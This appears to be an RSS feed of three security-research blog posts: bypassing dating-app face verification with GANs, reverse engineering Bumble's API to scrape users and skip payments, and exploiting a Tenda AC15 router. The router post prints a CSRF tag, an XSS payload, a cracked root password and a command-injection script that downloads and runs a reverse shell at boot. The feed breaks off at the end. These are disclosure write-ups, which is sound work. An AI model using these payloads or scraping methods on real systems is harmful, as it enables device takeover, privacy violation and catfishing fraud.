<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sanjana Sarda on Medium]]></title>
        <description><![CDATA[Stories by Sanjana Sarda on Medium]]></description>
        <link>https://medium.com/@sanjanasarda?source=rss-1ab0aad9d8dc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*DSLP0Mn8C1IydAPaALk2YA.jpeg</url>
            <title>Stories by Sanjana Sarda on Medium</title>
            <link>https://medium.com/@sanjanasarda?source=rss-1ab0aad9d8dc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 22:50:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sanjanasarda/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bypassing Face Verification Systems]]></title>
            <link>https://sanjanasarda.medium.com/bypassing-face-verification-systems-641b5988ba9b?source=rss-1ab0aad9d8dc------2</link>
            <guid isPermaLink="false">https://medium.com/p/641b5988ba9b</guid>
            <category><![CDATA[dating-app]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[face-verification]]></category>
            <category><![CDATA[gans]]></category>
            <dc:creator><![CDATA[Sanjana Sarda]]></dc:creator>
            <pubDate>Wed, 15 Jun 2022 05:15:43 GMT</pubDate>
            <atom:updated>2022-06-23T14:24:58.184Z</atom:updated>
            <content:encoded><![CDATA[<h4>Using GANs to create verified “catfish” profiles on Tinder and Bumble.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fZAiiqwkRZnFJZO2Ss3KSQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5sWnRUZFUliulCug5KDBLQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eUsCeN_HgMrDmCk5_ZbZlA.jpeg" /><figcaption>Verified profile on Tinder</figcaption></figure><p>Many of you may have paused mid-swipe wondering if the person you’re about to swipe right on is even a real person. Sure, if the profile is run by a bot it should fail verification, but can AI bypass this, successfully catfishing you on Tinder? Continue reading as we introduce the<strong> </strong>concept behind verification bypass<strong> </strong>and demonstrate how to <strong>create example images </strong>of various<strong> skin tones</strong>, <strong>hair types</strong>, and historically <strong>“masculine” or “feminine” facial features</strong> that<strong> successfully pass verification</strong> on Tinder and Bumble.</p><h3>Face Verification Systems 101</h3><p>Face verification techniques are used to check whether two faces belong to the same individual based on some distance metric (representing how different the faces are). In practice, this may be done using <a href="https://arxiv.org/abs/1503.03832">FaceNet</a> to convert faces to embedding feature vectors which can then be compared. Faces of the same individual should have similar feature vectors (minimum distance in the feature vector latent space).</p><p>Face verification techniques are used in a number of prominent apps to ensure user authenticity. As we have seen previously, dating apps like Bumble and Tinder, for example, employ photo verification to confirm that a user on the platform is who they say they are. This works by requesting the user to take a picture using the in-app camera which is then compared to the user’s profile images.</p><h3>Brainstorming the Attack</h3><p>This motivates the question of whether it is possible to generate a face image A such that A is qualitatively different from another face image B, but with similar feature vectors such that it can pass verification.</p><p>Similar to perturbations in adversarial attacks, we can either perturb the feature vector slightly or perturb the actual image to generate a new but similar embedding. However, since feature vectors are highly dependent on the overall training data, reversing the embedding to the original face image is a hard problem. Additionally, small perturbations to the original face image do not always result in a qualitatively distinct new image. A potential solution to this problem is to perform guided synthesis in the latent space, however, this also does not guarantee diverse generation.</p><h3>Generative Adversarial Networks — StarGAN</h3><p>Essentially our goal is to generate diverse images in the target user’s latent space. We can achieve this objective by employing <a href="https://arxiv.org/abs/1912.01865">StarGAN v2</a>, an image-to-image translation model that guarantees the diversity of generated images. Additionally, this model leverages reference images as style codes for source image translation almost as a naive guided synthesis method.</p><h3>Custom Face Verification System</h3><p>When experimenting with real-world applications, we only get one try per account to make the attack succeed. So, to maximize the probability of success, we first create a proof-of-concept face verification model based on a generic implementation of FaceNet and DeepFace that uses a pre-trained ConvNet Inception model to encode each input image into a 128-dimensional embedding vector.</p><p>The system relies on a database built on face images from the training subset of FairFace. To compare the feature vectors of two images, the distance induced by the Frobenius norm of an image is calculated against the intended user in the database. If the distance between any two feature vectors is less than the threshold (we use a threshold of 0.7), the corresponding images are assumed to be of the same person, and the verification passes; otherwise, the verification fails.</p><h3>Experiment Results</h3><p>To simulate guided generation, we experimented with varying reference images that differed in hair features, skin tone, and overall facial features.</p><p>Except for the last image, all of the pictures successfully pass verification in the custom model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/248/1*0Ldm-q-EDnTXsFSei3v12Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*jyU-pC5LWlqJKytAiUAbhw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/252/1*-buCO0ECnMP96e90qyPB9w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*okFt1MAxwg7TYu-pm3RTYg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*Uco72Fi-6w_ER8cofQS3mg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/255/1*BSHptpUgrUK_pJirKwGpPg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*pkCmKPhuKxnooFkMzL7poA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*_vFd_HAlglpZoFuygC9BgA.jpeg" /></figure><h3>Gender Reversal</h3><p>Now that we’ve successfully passed verification with “female” images, we can move on to generating more “masculine” images that still have similar feature vectors. We do this using multi-domain (female and male) image-to-image translation via male reference images in the StarGAN model. It is interesting to see that the middle image passes verification in the custom model while the other two images pass depending on the angle and lighting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/1*pcj-QfcDKtHfwkqQFLZZCw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/242/1*jBgC5kxiOpaBdmh-NFN6uQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*9UI_ojJuNS4odp1lvG8UPg.jpeg" /><figcaption>(Left) (Middle) (Right)</figcaption></figure><p>Future experiments could also involve guided image generation based on age.</p><h3>Dating Apps</h3><p>Even though face verification systems in the wild are completely black box, we presumed similar bypassing techniques would work. We tested our generated images on Bumble and Tinder’s face verification systems and were successfully able to pass verification. Verifying the switched gender images on Bumble took two attempts with changed lighting conditions. Fortunately for Tinder users, but unfortunately for us, Tinder’s face verification system rejected the switched gender photographs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L1_5aAGIKHmDgQ_D6DBgUw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BI0xZ_7dMDw9FMnMzAUUfQ.jpeg" /><figcaption>Verified profiles on Bumble</figcaption></figure><h3>Conclusion</h3><p>In this post, we show a brief summary of the methods and results from <a href="https://arxiv.org/pdf/2203.15068.pdf">Face Verification Bypass</a> and demonstrate that it is possible to generate images that have similar feature vectors which can be used to bypass face verification systems. For more details, please refer to the <a href="https://arxiv.org/pdf/2203.15068.pdf">paper</a> and the <a href="https://github.com/Sanjana-Sarda/FVB">codebase</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=641b5988ba9b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse Engineering Bumble’s API]]></title>
            <link>https://medium.com/independent-security-evaluators/reverse-engineering-bumbles-api-a2a0d39b3a87?source=rss-1ab0aad9d8dc------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2a0d39b3a87</guid>
            <category><![CDATA[dating]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ise-labs]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sanjana Sarda]]></dc:creator>
            <pubDate>Sat, 14 Nov 2020 17:33:34 GMT</pubDate>
            <atom:updated>2020-11-24T20:02:54.953Z</atom:updated>
            <content:encoded><![CDATA[<h4>When you have too much time on your hands and want to dump out Bumble’s entire user base and bypass paying for premium Bumble Boost features.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*uFDVl3e6_PyfQ7sLOSMDTw.gif" /></figure><p><a href="https://blog.securityevaluators.com/user-information-disclosure-in-dating-apps-9df90f83578c">As part of ISE Labs’ research into popular dating apps (see more here)</a>, we looked at Bumble’s web application and API. Continue reading as we will demonstrate how an <strong>attacker can bypass paying for access</strong> to some of Bumble Boost’s premium features. If that doesn’t seem interesting enough, learn how an <strong>attacker can dump Bumble’s entire user-base</strong> with basic user information and pictures even if the attacker is an unverified user with a locked account. Spoiler alert — ghosting is definitely a thing.</p><p><strong><em>Updates </em></strong><em>— </em>As of November 1, 2020, all the attacks mentioned in this blog still worked. When retesting for the following issues on November 11, 2020, certain issues had been partially mitigated. Bumble is no longer using sequential user ids and has updated its previous encryption scheme. This means that an attacker cannot dump Bumble’s entire user base anymore using the attack as described here. The API request does not provide distance in miles anymore — so tracking location via triangulation is no longer a possibility using this endpoint’s data response. An attacker can still use the endpoint to obtain information such as Facebook likes, pictures, and other profile information such as dating interests. This still works for an unvalidated, locked-out user, so an attacker can make unlimited fake accounts to dump user data. However, attackers can only do this for encrypted ids that they already have (which are made available for people near you). It is likely that Bumble will fix this too within the next few days. The attacks on bypassing payment for Bumble’s other premium features still work.</p><p><em>This research was </em><a href="https://www.forbes.com/sites/thomasbrewster/2020/11/15/bumble-vulnerabilities-put-facebook-likes-locations-and-pictures-of-95-million-daters-at-risk/?sh=41adac7a3ddf"><em>covered by Forbes</em></a><em>.</em></p><h3>Reverse Engineering REST APIs</h3><p>Developers use <a href="https://restfulapi.net/">REST APIs</a> to dictate how different parts of an application communicate with each other and can be configured to allow client-side applications to access data from internal servers and perform actions. For example, operations such as swiping on users, paying for premium features, and accessing user photos, occur via requests to Bumble’s API.</p><p>Since REST calls are stateless, it is important for each endpoint to check whether the request issuer is authorized to perform a given action. Additionally, even if client-side applications don’t normally send dangerous requests, attackers can automate and manipulate API calls to perform unintended actions and retrieve unauthorized data. This explains some of the potential flaws with Bumble’s API involving excessive data exposure and a lack of rate-limiting.</p><p>Since Bumble’s API is not publicly documented, we must reverse engineer their API calls to understand how the system treats user data and client-side requests, especially since our end goal is to trigger unintentional data leakage.</p><p>Normally, the first step would be to intercept the HTTP requests sent from the Bumble mobile app. However, since Bumble has a web application and shares the same API scheme as the mobile app, we’re going to take the easy route and intercept all incoming and outgoing requests through <a href="https://portswigger.net/burp">Burp Suite</a>.</p><h3>Exploring Bumble Boost</h3><p>Bumble “Boost” premium services cost $9.99 per week. We will be focusing on finding workarounds for the following Boost features:</p><ol><li>Unlimited Votes</li><li>Backtrack</li><li>Beeline</li><li>Unlimited Advanced Filtering — except we are also curious about ALL of Bumble’s active users, their interests, the kind of people they are interested in, and whether we can potentially triangulate their locations.</li></ol><h3>Unlimited Votes</h3><p>Bumble’s mobile app has a limit on the number of right swipes (votes) you can use during the day. Once users hit their daily swipe limit (approximately 100 right swipes), they have to wait 24 hours for their swipes to reset and to be shown new potential matches. Votes are processed using the following request through the SERVER_ENCOUNTERS_VOTE user action where if:</p><ul><li>“vote”: 1 — The user has not voted.</li><li>“vote”: 2 — The user has swiped right on the user with the person_id</li><li>“vote”: 3 — The user has swiped left on the user with the person_id</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/cb896c91580a8437031618ad44f4b15b/href">https://medium.com/media/cb896c91580a8437031618ad44f4b15b/href</a></iframe><p>On further examination, the only check on the swipe limit is through the mobile front-end which means that there is no check on the actual API request. As there is no check on the web application front-end, using the web application instead of the mobile app implies that users won’t ever run out of swipes. This peculiar frontend access control method introduces the other Bumble issues in this blog — several API endpoints are processed unchecked by the server.</p><h3>Backtrack</h3><p>Accidentally swiped left on someone? This is no longer an issue and you definitely don’t need Backtrack to undo your left swipe. Why? The SERVER_ENCOUNTERS_VOTE user action does not check if you have previously voted on someone. This means that if you send the API voting request directly, changing the “vote”: 3 parameter to “vote”: 2 you can “swipe right” on the user of your choice. This also means that users don’t have to worry about missed connections from 6 months ago because the API logic does not perform any sort of time check.</p><h3>Beeline Part I</h3><p>The Beeline is one of the main features of Bumble Boost as it allows users to view all the people who have swiped right on them.</p><p>When we studied the network traffic using the Developer Console, we found a SERVER_GET_ENCOUNTERS endpoint that displays all the users in our potential match feed. What’s interesting to note though, is that it also displays their vote and we can use this to differentiate between users who haven’t voted versus users who have swiped right.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YguC-9XVMZgvHMgBekntQQ.png" /><figcaption>SERVER_GET_ENCOUNTERS endpoint with “their_vote” field</figcaption></figure><p>The only problem with this method of finding admirers is that if the developers decide to fix this automatic voting disclosure, we will be lost and lonely. Our next step is to try to figure out how the endpoint has the vote value in its response so that we can recreate this behavior for other requests. Hopefully, we will be able to do this by studying the original request below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/956f2f811f9a72d84cb462a4ceac6e42/href">https://medium.com/media/956f2f811f9a72d84cb462a4ceac6e42/href</a></iframe><p>The most interesting thing about this request is the various numbers in the user_field_filter projection field. Now, our goal is to figure out what these numbers really mean.</p><h3>The Secret Worker Bee</h3><p>Even before we started intercepting Bumble’s requests, we discovered a <a href="https://bumble.com/bumble-service-worker.js">bumble-service-worker.js</a> file while exploring the web application using the Developer Console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1hvL_KMMTlvzSsOzk3mI6Q.png" /><figcaption>bumble-service-worker.js</figcaption></figure><p>Service workers are event-driven JavaScript worker files that control the site they are associated with and control how network requests are handled. These files are also responsible for background syncs.</p><p>On exploring this file we found several interesting key pairs such as those for User Fields (shown below — yellow highlights show explore-worthy fields), User Actions, Error Codes, and Feature Type Permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xentbe_BVyTsxTktl7IUOA.png" /><figcaption>bumble-service-worker.js UserFields</figcaption></figure><h3>Bumble APK</h3><p>Okay, but what if you are super determined to only use the mobile app? We can use dex2jar to extract smali classes and other files from the <a href="https://www.apkmirror.com/apk/bumble-holding-limited/bumble-date-meet-friends-network/">Bumble APK</a> and grep for similar information. For example, we used grep -i -r “USER_FIELD” to find the location of all the User Fields and their constant values. The following image shows the constant for USER_FIELD_IS_HOT (0x104) which is the hex for 260.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*BuyX2BSjRfKPqRQiQT9srQ.png" /><figcaption>smali_classes2/com/badoo/mobile/model/wx.1.smali</figcaption></figure><h3>Beeline Part II</h3><p>Now that we know that the code for “their_vote” is 560 and “my_vote” is 550, we can force the request for the SERVER_GET_USER endpoint that retrieves user data to include this information for a specific user (this method can also potentially be used for other endpoints).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZFj1VeASsc5037nyzgVaQ.png" /><figcaption>SERVER_GET_USER with additional 550 and 560 user field parameters</figcaption></figure><h3>Unlimited Additional Filtering via User Enumeration</h3><p>The last Boost feature that we will be “emulating” is the ability to find users using unlimited additional filters. However, we shall do this by enumerating Bumble’s users all around the world (except users with deleted accounts), using the SERVER_GET_USER endpoint with additional user fields, and separating this information in a spreadsheet. We can then filter for the features we are looking for via the following script which you can use, for example, to find all the users within 10 miles of your current location.</p><p><strong><em>Disclaimer — please don’t use this script to do nefarious things, it has been made strictly for educational purposes and as a proof of concept.</em></strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2d135ed1bbc74b9c1c37c5524dc43129/href">https://medium.com/media/2d135ed1bbc74b9c1c37c5524dc43129/href</a></iframe><p>The album field consists of all pictures uploaded to the app by a user (370). If an account is connected to Facebook, you can retrieve all of their “interests” or pages they have liked (420).</p><p>The “wish” field tells you what they are doing on the app and the exact kind of people they are looking for (360).</p><p>The “profile” fields provide information such as their descriptions, education, height, smoking and drinking preferences, voting status, political preference, religious beliefs, and zodiac (this information is technically already displayed by the application)(490).</p><p>Other interesting information is if they have the “mobile application installed” (680), if they are “hot” (260 )(still have not found anyone who Bumble thinks is hot), if they are “online” (330), and their “distance in miles” if they are from the same city (530)(since attackers can easily spoof their location, triangulation is definitely a possibility). Something to note, the request requires a User-Agent header for the short distance in miles to show up. For a better idea of the information you can retrieve, here is a sample user response.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2d14089fedcbb497b8b7b461a09dafba/href">https://medium.com/media/2d14089fedcbb497b8b7b461a09dafba/href</a></iframe><p>Our accounts eventually got locked and hidden for more verification requirements. We tested retrieving user data while our account was locked, and it still worked. So even though other endpoints such as SERVER_ENCOUNTERS_VOTE check for locked users, the SERVER_GET_USER endpoint does not.</p><p>This script works as Bumble has not enabled rate limiting on their API and instead of only using the encrypted_user_ids, Bumble allows users to be accessed by their actual user_ids which are sequential (approximately 0 to 2,000,000,000).</p><h3>Conclusion</h3><p>Most of the issues in this blog stem from Bumble not verifying requests server-side. Due to this, advanced users can bypass Bumble’s main premium features easily through the web application, and attackers can collect detailed information about Bumble users.</p><h3>Coordinated Disclosure Timeline</h3><ul><li><strong>March 30, 2020:</strong> ISE’s initial contact disclosing vulnerabilities on HackerOne</li><li><strong>March 31, 2020</strong>: Report triaged on HackerOne</li><li><strong>June 16, 2020:</strong> ISE’s second contact sent via HackerOne asking for Updates — No response.</li><li><strong>July 9, 2020</strong>: ISE’s third contact mentioning our public disclosure plan sent to Bumble’s feedback email — No response.</li><li><strong>July 10, 2020</strong>: ISE’s fourth contact sent to Bumble’s partnership form — No response.</li><li><strong>November 12, 2020</strong>: Report resolved on HackerOne.</li></ul><p>Bumble has not responded to any of ISE’s direct contact attempts.</p><p><a href="http://eepurl.com/bLc2bf"><strong>Sign up to get our latest blogs.</strong></a></p><p><a href="https://blog.securityevaluators.com/user-information-disclosure-in-dating-apps-9df90f83578c">User Information Disclosure in Dating Apps</a></p><p><em>Sanjana Sarda is a Junior Security Analyst at </em><a href="https://www.ise.io/"><em>Independent Security Evaluators</em></a><em>, a firm of security specialists that provide a wide range of services including custom security assessments and software development. ISE also runs </em><a href="https://www.iotvillage.org/"><em>IoT Village</em></a><em>, which hosts talks by expert security researchers who dissect real-world exploits and hacking contests consisting of off-the-shelf IoT devices.</em></p><p><em>Twitter</em>: <a href="https://twitter.com/ISEsecurity"><em>@ISESecurity</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2a0d39b3a87" width="1" height="1" alt=""><hr><p><a href="https://medium.com/independent-security-evaluators/reverse-engineering-bumbles-api-a2a0d39b3a87">Reverse Engineering Bumble’s API</a> was originally published in <a href="https://medium.com/independent-security-evaluators">Independent Security Evaluators</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tenda AC15 AC1900 Vulnerabilities Discovered and Exploited]]></title>
            <link>https://medium.com/independent-security-evaluators/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68?source=rss-1ab0aad9d8dc------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8e26aa0bc68</guid>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[privacy]]></category>
            <category><![CDATA[ise-labs]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sanjana Sarda]]></dc:creator>
            <pubDate>Fri, 10 Jul 2020 20:03:37 GMT</pubDate>
            <atom:updated>2020-08-10T20:21:59.882Z</atom:updated>
            <content:encoded><![CDATA[<h4>Demonstrating how remote attackers can gain control of the Tenda AC15 AC1900.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xTib1MarQQxhXzuxoL0C2g.jpeg" /><figcaption>Tenda AC15 AC1900</figcaption></figure><p>As part of ISE Labs’ research into embedded devices, we looked at Tenda’s AC15 AC1900 Smart Dual-band Gigabit Wi-Fi Router. During our research efforts, we tested the router running its then-latest firmware version 15.03.05.19. While they have recently removed this version from official circulation, we would like to mention that Tenda has not updated their firmware since 2017. However, the 2019 firmware version is still available to download from Tenda’s US website.</p><p>Our research efforts uncovered 5 CVEs with concerning ramifications for the firmware running on the Tenda AC15 AC1900. Interesting stuff right? Continue reading as we will demonstrate two methods attackers can use to gain persistent unauthenticated root access to the device. It is worth mentioning that the exploitation of these vulnerabilities can be leveraged as part of a botnet to potentially attack external systems and other systems residing on the internal network.</p><h3><strong>Setting the Stage</strong></h3><p>The admin account of the router is initially set up with the password as mouse. The MD5 hash of mouse (40203abe6e81ed98cbc97cdd6ec4f144) will show up throughout this blog. Now that we can successfully authenticate to the router’s web interface, let’s get started by searching for web-based vulnerabilities that can be leveraged to gain access to or potentially compromise this device. We’ll proceed to map the application’s various endpoints while taking note of any potential entry points for injection, such as client-controlled parameter fields. After this, we will use binwalk to extract the binary files from the firmware and <a href="https://www.hex-rays.com/products/ida/">IDA Pro</a> to disassemble and analyze them.</p><h4>Initial Reconnaissance</h4><p>We will first begin our analysis phase of the AC1900 with port and service enumeration using <a href="https://nmap.org/">Network Mapper</a> (Nmap) to determine how the router is configured. As we want Nmap to scan all TCP ports (from 1 to 65535), determine services, versions and the OS being used (A) and provide verbose output(v) we will run nmap -p 1–65535 -T4 -A -v 192.168.0.1, which gives us the following list of open ports.</p><pre>PORT       STATE      SERVICE      VERSION<br>23         open       telnet       <br>telnetd<br>80         open       http         Tenda WAP http admin<br>1990       open       Stun-p1 <br>5500       open       Rtsp<br>8180       open       http         nginx 1.22<br>9000       open       Cslistener<br>10004      open       emcrmirccd</pre><p>Using these results, we know that the device is running RTSP, STUN, and two HTTP servers. While none of this out of the ordinary, the device also happens to be running a Busybox instance of telnetd. Hopefully, we will be able to use this to telnet into the device and get root privileges.</p><h3><strong>Exploiting Insufficient Request Validation (CVE-2020–10986)</strong></h3><p>While exploring the various endpoints of the application using <a href="https://portswigger.net/burp">Burp Suite</a>, we came across the SysToolReboot endpoint, which disconnects the router from the Internet for approximately 45 seconds before rebooting. The web interface reboots the router using the following GET request which changes the state of the device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*p4jtSQlS7WRQ0_hzLeMz6Q.png" /><figcaption>Reboot GET Request</figcaption></figure><p>An attacker that can convince an authenticated victim to visit a malicious web page can exploit a cross-site request forgery (CSRF) attack. CSRF attacks force end-users to execute unwanted state-changing actions on web applications in which they are currently authenticated. For example, an attacker may use an HTML &lt;img&gt; tag to cause the state-changing GET request to be issued upon page load. For this case, let’s propose that an attacker disguises the exploit URL as a 0x0 fake image such as below. When an authenticated user navigates to the malicious page hosted by the attacker, the browser will issue a request to retrieve the “image”, but instead of actually retrieving the image, the issued request will cause the router to reboot.</p><pre>&lt;img src=&quot;http://192.168.0.1/goform/SysToolReboot&quot; width=&quot;0&quot; height=&quot;0&quot; border=&quot;0&quot;&gt;</pre><p>An attacker can also social engineer an authenticated user to click on http://192.168.0.1/goform/SysToolReboot for a simpler method of achieving the same result, as the request to reboot the device expects a GET request.</p><h3><strong>Exploiting </strong>Insufficient Data Validation and Sanitization<strong> (CVE-2020–10989)</strong></h3><p>After further probing, we ultimately reach the WiFi Settings endpoint where we discover that the user-controlled parameter field, <em>Wifi Name</em>, under Wifi Name &amp; Password, is used in the landing page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HeJG3gq3WtYmIXVJD3N4wQ.png" /><figcaption>Web Interface Landing Page</figcaption></figure><p>On closer inspection, the application parses this parameter without input sanitization. We can exploit this by supplying a JavaScript payload (&lt;script&gt;alert(document.cookie)&lt;/script&gt;) in the parameter to use a potential cross-site scripting attack. As shown below, when the victim navigates to the dashboard, it will cause the browser to execute the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-WpaIy-HATRb3apTV3ECA.png" /></figure><p>With that, we now have persistent XSS that is triggered every time an authenticated user encounters the Wifi Name on the web application. This, in combination with the previous CSRF attack, can be used to cause persistent denial of service. While this is a valid attack vector, it requires authentication and admin privileges, which involves more investment as an attacker than we would like. Since our goal should be to both minimize the amount of victim involvement and attacker privilege required, let us dig a little deeper through the actual firmware and continue our search for vulnerabilities.</p><h3><strong>Finding Hardcoded Credentials (CVE-2020–10988)</strong></h3><p>As found in <a href="https://www.cvedetails.com/cve/CVE-2018-5770/">CVE-2018–5770</a>, an unauthenticated remote user can start a telnetd service on Tenda AC15 devices to get root access. However, in the most recent version of the firmware (v19), the hard-coded backdoor accounts no longer give access to root. Instead, the md5 hash of the password to get root access is hardcoded in the tenda_login binary (9B60FC59706134759DBCAEA58CAF9068). This can be cracked to get “Fireitup”. The figures below show the location of the password and a sample telnet login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*mYFgrb0abOKgaQSmlhu5vg.png" /><figcaption>Tenda_login Binary File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*DnC2DGQAGZTdq8ahbbo5UQ.png" /><figcaption>Telnet Login</figcaption></figure><h3><strong>Finding Remote Code Execution (CVE-2020–10987 &amp; </strong>CVE-2020–15916<strong>)</strong></h3><p>While exploring the httpd binary file, we discovered that during request execution, the deviceName parameter and the lanIp parameter are passed directly to a <strong>doSystemCmd</strong> function, causing an arbitrary command execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*MqnmHgPs5Uf-IfLwUmdRrg.png" /><figcaption>formsetUsbUnload in httpd Binary file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*pjP7uPxWo24Nc2BHzlBCfQ.png" /><figcaption>TendaTelnet in httpd Binary File</figcaption></figure><p>The value of the deviceName parameter can be set through an authenticated request to the web interface such as below, for example, to force the router to reboot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*RktdR9UjLq6omb_llSvP5Q.png" /><figcaption>Code Execution Using the deviceName Parameter</figcaption></figure><p>The value of lan.ip can also be set via a similar request to the web interface (which is less useful), or set using cfm via the root shell obtained by starting the telnet daemon as mentioned above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*tfvB9bicyKuHCgXqBXX4NQ.png" /><figcaption>Setting lan.ip</figcaption></figure><p>This can be used for persistent attacks as the value of lan.ip does not change unless the router is factory reset, even after rebooting. Changing the value of lan.ip temporarily disables the WiFi and requires a reboot for normal functionality.</p><h3><strong>Further Exploitation</strong></h3><p>Although the telnet daemon gives us root access to the router, we should be able to further exploit the vulnerabilities we have found so far to also start a persistent reverse shell on the device.</p><p>As the busybox instance on the router supports wget, we can download a reverse shell (in this case configured to connect to port 8213) to the /tmp folder. While executing this gives us root access, the file is deleted every time the router reboots. A better way of achieving persistence is by using the remote code execution in lan.ip to download and run the shell at the start of every boot. We do this by creating the following bash script (sizzle) which sets lan.ip accordingly and connects to our port. It is important to note that the commands in lan.ip are only executed on startup and not otherwise.</p><pre>#! /bin/sh</pre><pre>cfm set lan.ip &#39;192.168.0.1; cd tmp; wget http://192.168.0.112:8000/shell; chmod +x shell; ./shell&#39;</pre><pre>cd tmp; <br>wget http://192.168.0.112:8000/shell; <br>chmod +x shell;<br>./shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*12ohy4m_1FMuXIxecjWDYg.png" /><figcaption>Using ‘sizzle’ to Set lan.ip to Obtain a Reverse Shell at Port 8123</figcaption></figure><p>We can use Netcat (nc) to listen (-l) to port (-p) 8123 for incoming traffic and get the following response when we connect to the router.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*cjnKBXgzw_Q8coto2IXy6w.png" /><figcaption>Reverse Shell at Port 8123</figcaption></figure><h3><strong>Conclusion</strong></h3><p>In this post, we have shown how to compromise and access this device without authentication and cause persistent denial of service condition. It is interesting to note that as Tenda has yet to patch these vulnerabilities, similar vulnerabilities may exist in other firmware versions. Attackers, consequently, can develop similar exploits that affect other Tenda embedded devices.</p><h3><strong>Responsible Disclosure Timeline</strong></h3><ul><li><strong>January 2, 2020:</strong> Initial Contact About Disclosing Vulnerabilities</li><li><strong>January 17, 2020:</strong> Vulnerabilities Disclosed to Tenda:</li></ul><p>Tenda has not responded to any of ISE’s emails.</p><p><a href="http://eepurl.com/bLc2bf"><strong>Sign up to get our latest blogs.</strong></a></p><p><em>Sanjana Sarda is a Junior Security Analyst at </em><a href="https://www.ise.io/"><em>Independent Security Evaluators</em></a><em>, a firm of security specialists that provide a wide range of services including custom security assessments and software development. ISE also runs </em><a href="https://www.iotvillage.org/"><em>IoT Village</em></a><em>, which hosts talks by expert security researchers who dissect real-world exploits and hacking contests consisting of off-the-shelf IoT devices.</em></p><p><em>Twitter</em>: <a href="https://twitter.com/ISEsecurity"><em>@ISESecurity</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8e26aa0bc68" width="1" height="1" alt=""><hr><p><a 